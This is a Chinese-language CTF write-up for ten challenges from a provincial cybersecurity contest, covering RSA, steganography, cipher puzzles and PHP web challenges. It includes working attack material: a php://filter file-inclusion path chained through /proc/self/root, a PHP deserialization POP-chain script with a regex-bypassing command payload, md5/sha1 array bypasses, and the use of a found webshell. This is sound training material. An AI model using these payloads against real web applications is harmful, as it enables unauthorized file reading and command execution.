师傅们,我太菜了,除了最后一个小时都还在前20名,结果最后一个小时被踢下去了,做了一道少解的题目也掩饰溃败,被打服了,直接被踢出前40名,babyrsa到底怎么解,呜呜!被打服了!!!!!!!以下是我们队伍的10道题目的wp。
题目一 Crypto-我看看谁还不会RSA
操作内容:
看到该题之后发现是私钥加密,公钥解密
脚本代码:
from Crypto.Util.number import *
c=8232151627233115772131180151146951323147507324390914513031444555762539986162650
p=8666789885346075954502743436174521501697
q=2449101960789395782044494299423558347143
n = p*q
phin = (p-1)*(q-1)
e=37777
m = pow(c,e,n)
print(long_to_bytes(m))
flag值:
flag{r5a_Who_w0nt}
题目二 Misc-来都来了
操作内容:
打开压缩包发现有密码
用010工具打开发现是伪加密
把09改为00,之后即可解压缩,压缩之后的内容为
Base64解密之后把解密内容缩小
flag值:
flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}
题目三 Cypto-hakiehs
操作内容:
通过图片形式打开,有3种类型的密码
在网上查找到了3种密码对应的密码表
对应密码表得到相应的字母是linkzeldadanon及为flag
flag值:
flag{linkzeldaganon}
题目四 Misc-Honor
操作内容:
foremost分离图片:foremost -T 图片
发现有一个jpg文件
用stegdetect分析存在隐写
用stegseek使用rockyou输入命令爆破密码
进行栅栏w型解密
flag值:
flag{424c076e-768c-3636-acb5-4676900b9eec}
题目五 get_source
操作内容:
访问页面发现无内容,但通过返回包可发现php版本7.4.21
可利用Development Server源码泄露漏洞源码泄露漏洞
得到源码后分析,md5和sha1可用数组绕过
post传参a[]=1&b[]=2&pwn[]=1 访问页面得到flag
flag值:
动态flag不给了
题目六 Web-ApeCoin
操作内容:
页面无明显漏洞点 考虑源码泄露
访问/www.tar.gz发现源码泄露
在static/font目录下发现可疑文件.txt.php
打开后发现为冰蝎马
根据特征解密得到链接密码74658263
冰蝎链接找到flag
flag值:
flag{59366e97-4d45-4338-9056-4f06b0493df2}
题目七 Web-Easyphp
操作内容:
进入页面发现require_once文件包含
但flag.php已被包含过一次
用用伪协议配合多级符号链接的办法进行绕过
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/index.php
但是发现flag为假
之后考虑包含页面出现的hint.php
发现该页面反序列化命令执行
源代码为
<?php
error_reporting(0);
class mouse
{
public $rice;
function __isset($n){
$this->rice->nothing();
}
}
class dog
{
public $a;
public $b;
public $c;
function __wakeup(){
$this->a = 'chance?';
}
function __destruct(){
$this->b = $this->c;
die($this->a);
}
}
class ct
{
public $fish;
function __toString()
{
if(isset($this->fish->d))
{
echo 'you wrong';
}
}
}
class get
{
public $cmd;
function __call($name,$no)
{
eval($this->cmd);
}
}
$pop = $_GET['pop'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){
echo "you will get flag".'</br>';
unserialize($pop);
}
else{
die("Try again!");
}
分析反序化链
从 dog->ct->mouse->get构造 payload 绕过正则
编写反序列化脚本
<?php
class mouse
{
public $rice;
function __construct()
{
$this->rice = new get;
}
}
class dog
{
public $a;
public $b;
public $c;
function __construct()
{
$this->a = 'chance?';
$this->b = &$this->a;
$this->c = new ct;
}
}
class ct
{
public $fish;
function __construct()
{
$this->fish = new mouse;
}
}
class get
{
public $cmd;
function __construct()
{
$this->cmd = 'print(`c\at /realflag/you_want_flag.php`);';
}
}
print_r(serialize(new dog));
运行得到
O:3:"dog":3:{s:1:"a";s:7:"chance?";s:1:"b";R:2;s:1:"c";O:2:"ct":1:{s:4:"fish";O:5:"mouse":1:{s:4:"rice";O:3:"get":1:{s:3:"cmd";s:42:"print(`c\at /realflag/you_want_flag.php`);";}}}}
传参后f12得到flag
flag值:
动态flag,不给了
题目八 ezupload
操作内容:
爆破目录发现/flag目录下有内容
访问发现为flag
flag值:
flag{4a384594-7550-4544-b256-66d18640a478}
题目九 Crypto-font
操作内容:脑洞一套炸了
打开图片详细信息
◎☀◐♬¤☾♀☹☽§♪℗♩☑♪®♂¤☒♫〼♪۞◐§◎☀◐◑☼♭©☺♪√
☑◑☼√♬◎〼©♂☑√۞☽♩☺☀☑◑☀√☑♩☒♂☑☀☹♪
通过在浏览器上发现了一句英文串描述该图片
theQuickbrownfoxjumpsoverthelazydog,
发现与◎☀◐♬¤☾♀☹☽§♪℗♩☑♪®♂¤☒♫〼♪۞◐§◎☀◐◑☼♭©☺♪√一一对应正好36个
字母表为
√:g;♪:0;☺ d;© y;♭ z;☼ a;◑ l;◐ e;☀ h;◎ t;§ r;◐ e;۞ v;♪ o;〼 s;♫ p;☒ m;¤ u;♂ j;® x;♪ o;☑ f;♩ n;℗ w;♪ o;§ r;☽ b;☹ k;♀ c;☾ i;¤ u;♬ q;◐ e;☀ h;◎ t
根据☑◑☼√♬◎〼©♂☑√۞☽♩☺☀☑◑☀√☑♩☒♂☑☀☹♪一一对应到字母表上
是qtsyjfgvbndhflhgfnmjfhko就是flag
flag值:
flag{qtsyjfgvbndhflhgfnmjfhko}
题目十 Misc-芙宁娜
操作内容:
某电信原题,最后8e8f,不好多说,之前的wp也可水
'ZmxhZ3tiYzgzOTRhYS03ZTMyLTQ3ZTgtYTlmZC0xYmY2ODNhZg=='
flag{bc8394aa-7e32-47e8-a9fd-1bf683af
通过ps的元数据可以得到被遮盖的16进制编码,通过重组还原得到⼀个pyc⽂ 件,pyc隐写得到8e8f}
拼接可得flag
第二种方法:
爆破找几个慢慢提交,反正没有提交限制,就是流量大,比赛时候,真的只有这个方法最实用
import string
chars = string.ascii_lowercase + string.digits
flag = "flag{bc8394aa-7e32-47e8-a9fd-1bf683af"
with open(r"C:\Users\Administrator\Desktop\23.txt", "w") as file:
for a in chars:
for b in chars:
for c in chars:
for d in chars:
current_flag = flag + a + b + c + d + "}"
file.write(current_flag + "\n")
print("结果已保存在桌面上")
爆破脚本附上!文章来源:https://www.toymoban.com/news/detail-758380.html
flag值:
flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}文章来源地址https://www.toymoban.com/news/detail-758380.html
到了这里,关于河南省第五届“金盾信安杯”网络与数据安全大赛-WP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!